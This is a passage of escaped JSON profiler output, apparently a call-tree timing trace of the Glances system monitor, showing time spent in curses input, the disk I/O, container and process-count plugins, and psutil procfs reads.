0.100528,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100528,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100445,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044462599762483, \"l291\": 0.10044462599762483},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100445,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044462599762483, \"l260\": 0.10044462599762483},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100445,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100445,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100381,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038062600506237, \"l1202\": 0.10038062600506237},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100381,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100381,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.118171,\"attributes\": {\"cGlancesStats\": 0.11817138699552743, \"l287\": 0.11817138699552743},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.118171,\"attributes\": {\"cGlancesStats\": 0.11817138699552743, \"l575\": 0.11817138699552743},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.116112,\"attributes\": {\"l571\": 0.11611205199733377},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.116112,\"attributes\": {\"cGlancesStats\": 0.11611205199733377, \"l274\": 0.0941070530025172, \"l275\": 0.020002104000013787, \"l276\": 0.002002894994802773},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003091,\"attributes\": {\"cDiskioPlugin\": 0.003091191996645648, \"l1278\": 0.003091191996645648},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003091,\"attributes\": {\"l1295\": 0.003091191996645648},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003091,\"attributes\": {\"cDiskioPlugin\": 0.003091191996645648, \"l114\": 0.003091191996645648},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003091,\"attributes\": {\"cDiskioPlugin\": 0.003091191996645648, \"l1351\": 0.003091191996645648},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003091,\"attributes\": {\"cDiskioPlugin\": 0.003091191996645648, \"l148\": 0.003091191996645648},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.003091,\"attributes\": {\"l2129\": 0.001150035997852683, \"l2133\": 0.001941155998792965},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001150,\"attributes\": {\"l1106\": 0.001150035997852683},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001150,\"attributes\": {\"l1050\": 0.001150035997852683},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001150,\"attributes\": {\"l692\": 0.001150035997852683},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001150,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.001941,\"attributes\": {\"l660\": 0.001941155998792965},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.001941,\"attributes\": {\"c_WrapNumbers\": 0.001941155998792965, \"l629\": 0.001941155998792965},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001941,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.001994881997234188, \"l182\": 0.001994881997234188},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.001994881997234188, \"l678\": 0.001994881997234188},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.001994881997234188, \"l633\": 0.001994881997234188},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001995,\"attributes\": {\"cDiskioPlugin\": 0.001994881997234188, \"l615\": 0.001994881997234188},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.070274,\"attributes\": {\"cContainersPlugin\": 0.004350262999651022, \"l1278\": 0.07027431400638307, \"cProcesscountPlugin\": 0.06592405100673204},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.070274,\"attributes\": {\"l1295\": 0.07027431400638307},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004350,\"attributes\": {\"cContainersPlugin\": 0.004350262999651022, \"l252\": 0.004350262999651022},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004350,\"attributes\": {\"l256\": 0.004350262999651022},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004350,\"attributes\": {\"l248\": 0.004350262999651022},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004350,\"attributes\": {\"cDockerExtension\": 0.004350262999651022, \"l260\": 0.004350262999651022},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004350,\"attributes\": {\"cContainerCollection\": 0.004350262999651022, \"l1009\": 0.004350262999651022},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004350,\"attributes\": {\"cAPIClient\": 0.004350262999651022, \"l212\": 0.004350262999651022},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004350,\"attributes\": {\"cAPIClient\": 0.004350262999651022, \"l44\": 0.004350262999651022},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004350,\"attributes\": {\"cAPIClient\": 0.004350262999651022, \"l246\": 0.004350262999651022},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004350,\"attributes\": {\"cAPIClient\": 0.004350262999651022, \"l602\": 0.004350262999651022},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004350,\"attributes\": {\"cAPIClient\": 0.004350262999651022, \"l579\": 0.0020019810035591945, \"l589\": 0.0023482819960918278},\"children\": [{\"identifier\": \"merge_environment_settings\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000750\",\"time\": 0.002002,\"attributes\": {\"cAPIClient\": 0.0020019810035591945, \"l760\": 0.0020019810035591945},\"children\": [{\"identifier\": \"get_environ_proxies\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000816\",\"time\": 0.002002,\"attributes\": {\"l825\": 0.0020019810035591945},\"children\": [{\"identifier\": \"getproxies_environment\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/request.py\\u00001863\",\"time\": 0.002002,\"attributes\": {\"l1875\": 0.0020019810035591945},\"children\": [{\"identifier\": \"__iter__\\u0000<frozen os>\\u0000727\",\"time\": 0.002002,\"attributes\": {\"c_Environ\": 0.0020019810035591945, \"l731\": 0.0020019810035591945},\"children\": [{\"identifier\": \"decode\\u0000<frozen os>\\u0000790\",\"time\": 0.002002,\"attributes\": {\"l791\": 0.0020019810035591945},\"children\": [{\"identifier\": \"bytes.decode\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002348,\"attributes\": {\"cAPIClient\": 0.0023482819960918278, \"l703\": 0.0023482819960918278},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002348,\"attributes\": {\"cUnixHTTPAdapter\": 0.0023482819960918278, \"l644\": 0.0023482819960918278},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002348,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0023482819960918278, \"l787\": 0.0023482819960918278},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002348,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0023482819960918278, \"l534\": 0.0023482819960918278},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002348,\"attributes\": {\"cUnixHTTPConnection\": 0.0023482819960918278, \"l571\": 0.0023482819960918278},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002348,\"attributes\": {\"cUnixHTTPConnection\": 0.0023482819960918278, \"l1430\": 0.0023482819960918278},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002348,\"attributes\": {\"cHTTPResponse\": 0.0023482819960918278, \"l331\": 0.0023482819960918278},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002348,\"attributes\": {\"cHTTPResponse\": 0.0023482819960918278, \"l292\": 0.0023482819960918278},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002348,\"attributes\": {\"cSocketIO\": 0.0023482819960918278, \"l725\": 0.0023482819960918278},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002348,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002348,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.065924,\"attributes\": {\"cProcesscountPlugin\": 0.06592405100673204, \"l85\": 0.06592405100673204},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.065924,\"attributes\": {\"cGlancesProcesses\": 0.06592405100673204, \"l617\": 0.059645713001373224, \"l621\": 0.002005312002438586, \"l653\": 0.002618653998069931, \"l659\": 0.0016543720048503019},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059646,\"attributes\": {\"cGlancesProcesses\": 0.059645713001373224, \"l478\": 0.0536460170042119, \"l493\": 0.005999695997161325},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.053646,\"attributes\": {\"l1541\": 0.00255908899998758, \"l1558\": 0.05108692800422432},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002559,\"attributes\": {\"l1485\": 0.00255908899998758},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002559,\"attributes\": {\"l1526\": 0.00255908899998758},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002559,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002559,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.043089,\"attributes\": {\"cProcess\": 0.04308897400187561, \"l579\": 0.031098484018002637, \"l572\": 0.009988344987505116, \"l578\": 0.0020021449963678606},\"children\": [{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.001096,\"attributes\": {\"cProcess\": 0.0010959070059470832, \"l1178\": 0.0010959070059470832},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001096,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998118998017162, \"l687\": 0.001998118998017162},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998118998017162, \"l748\": 0.001998118998017162},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998118998017162, \"l1593\": 0.001998118998017162},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998118998017162, \"l1750\": 0.001998118998017162},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001998,\"attributes\": {\"l692\": 0.001998118998017162},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999193998926785, \"l836\": 0.001999193998926785},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999193998926785, \"l1593\": 0.001999193998926785},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999193998926785, \"l1796\": 0.001999193998926785},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001999193998926785},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001995,\"attributes\": {\"c_GeneratorContextManager\": 0.001995336999243591, \"l141\": 0.001995336999243591},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995336999243591, \"l535\": 0.001995336999243591},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995336999243591, \"l1728\": 0.001995336999243591},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l680\": 0.0020058709997101687},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l1593\": 0.0020058709997101687},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l1740\": 0.0020058709997101687},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l1593\": 0.0020058709997101687},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l382\": 0.0020058709997101687},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.0020058709997101687, \"l1689\": 0.0020058709997101687},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l939\": 0.0019986690022051334},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l1593\": 0.0019986690022051334},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l2052\": 0.0019986690022051334},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l1593\": 0.0019986690022051334},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l382\": 0.0019986690022051334},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986690022051334, \"l1718\": 0.0019986690022051334},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019986690022051334},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997228006075602, \"l382\": 0.001997228006075602},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997228006075602, \"l1138\": 0.001997228006075602},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997228006075602, \"l1593\": 0.001997228006075602},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001997228006075602, \"l1880\": 0.001997228006075602},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986810002592392, \"l687\": 0.0019986810002592392},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986810002592392, \"l748\": 0.0019986810002592392},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986810002592392, \"l1593\": 0.0019986810002592392},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019986810002592392, \"l1751\": 0.0019986810002592392},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.0019990099972346798, \"l148\": 0.0019990099972346798},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990099972346798, \"l543\": 0.0019990099972346798},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990099972346798, \"l1735\": 0.0019990099972346798},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l939\": 0.0020049279992235824},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l1593\": 0.0020049279992235824},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l2052\": 0.0020049279992235824},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l1593\": 0.0020049279992235824},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l382\": 0.0020049279992235824},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020049279992235824, \"l1719\": 0.0020049279992235824},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002005,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l680\": 0.0019991700028185733},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l1593\": 0.0019991700028185733},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l1740\": 0.0019991700028185733},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l1593\": 0.0019991700028185733},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l382\": 0.0019991700028185733},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019991700028185733, \"l1683\": 0.0019991700028185733},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019991700028185733},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019991700028185733},\"children\": [{\"identifier\": 